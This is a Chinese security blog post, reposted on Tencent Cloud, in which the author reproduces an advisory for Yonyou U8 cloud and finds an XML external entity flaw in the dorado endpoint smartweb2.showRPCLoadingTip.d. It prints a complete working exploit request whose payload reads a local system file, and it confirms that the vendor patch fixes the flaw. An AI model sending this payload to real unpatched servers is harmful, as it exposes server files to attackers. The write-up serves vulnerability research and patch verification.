前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次通告引起的漏洞复现记录

记一次通告引起的漏洞复现记录

作者头像
潇湘信安
发布2024-05-09 16:04:57
1750
发布2024-05-09 16:04:57
举报
文章被收录于专栏:潇湘信安潇湘信安

2024年4月@不会飞的鱼师傅投稿分享的一篇文章,记录的是他因一起用友的漏洞通告而找到对应的POC并对该漏洞进行复现测试的过程,文章版权归原作者所有。

0x00?前言

在一个风不平浪不静的下午,收到一个通告长这样yongyou-u8c-sqli-showRPCLoadingTip,一个用友U8的SQL注入,可是我找遍了浏览器都没找到这个漏洞,瞬间怀疑人生,在github搜索找到相关一段代码长这样。

代码语言:javascript
复制
<servlet-mapping>
      <servlet-name>DoradoServlet</servlet-name>
      <url-pattern>/dorado/smartweb2.showRPCLoadingTip.d</url-pattern>
</servlet-mapping>

是一个叫dorado的中间件,全称叫“dorado展现中间件”,既然找到了源码那就搭建看一看吧,可惜菜鸡一个并么有运行起来...。

代码语言:javascript
复制
https://github.com/LoveSnowBear/lovesnowbear.github.com/

没运行起来就没运行起来吧,那就用通告呢抓个包跑一下sqlmap,可惜sqlmap告诉我参数被污染(我并没有污染参数),突然头大了,难道要手动验证? 后续搜索U8的注入看见一个XML实体注入漏洞smartweb2.RPC.dXML外部实体注入,这不是和我的smartweb2.showRPCLoadingTip.d参数很像吗?瞬间想到有没有可能这并不是一个SQL注入,而是一个XML实体注入漏洞,后续证实这就是一个XML注入。 由于没有在公网找到相关记录,遂记录一下(在这我还惊喜一下,网络没记录那是不是可以申请一个证书,想多啦,打补丁后就修复了,可能影响v5以下呢吧)。

0x01 环境搭建

U8 cloud3.6

0x02?漏洞验证(想法验证)

既然和smartweb2.RPC.d接口XML外部实体注入漏洞一个类型,那是否payload通用,证明是可行的,应该是U8引用了dorado5,NC也应该有类似漏洞,因为smartweb2.RPC.d_XML外部实体注入NC和U8cloud都存在。

代码语言:javascript
复制
POST /hrss/dorado/smartweb2.showRPCLoadingTip.d?__rpc=true HTTP/1.1
Host: 192.168.83.130:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 262
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

在github中的源码像这样的接口有好几个,我都跑了一下都可以实现XML注入,不一一举例了。

代码语言:javascript
复制
https://github.com/LoveSnowBear/lovesnowbear.github.com/blob/77c78bb7b250dd35e7d139fef03356f474ca0630/daordo5with7/dorado5/web/WEB-INF/web.xml

这个应用也引用了dorado可惜年代久远:

代码语言:javascript
复制
https://github.com/bellmit/tmsvat/blob/6ecab97ca730cc070d89e2092b0b20012175774f/deloitte.tms.pl/deloitte.tms.pl.attachment.core/src/main/webapp/WEB-INF/web.xml#L154

在github中看web.xml只有daordo5写有这样的路由,daordo5-2和daordo7没有相似路由。

daordo5-web.xml

dorado5-2-web.xml

dorado7-web.xml

0x03?遐想验证,打补丁后验证

从官网下载补丁更新后进行验证修复了(可惜了了呀,可惜);NC有没有修复没去验证了,累了。

代码语言:javascript
复制
https://security.yonyou.com/#/patchInfo?identifier=3c900fd6f90943afb43f699c8be59557

更新补丁后验证

本文参与?腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2024-05-08,如有侵权请联系?cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与?腾讯云自媒体分享计划? ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
消息队列 TDMQ
消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com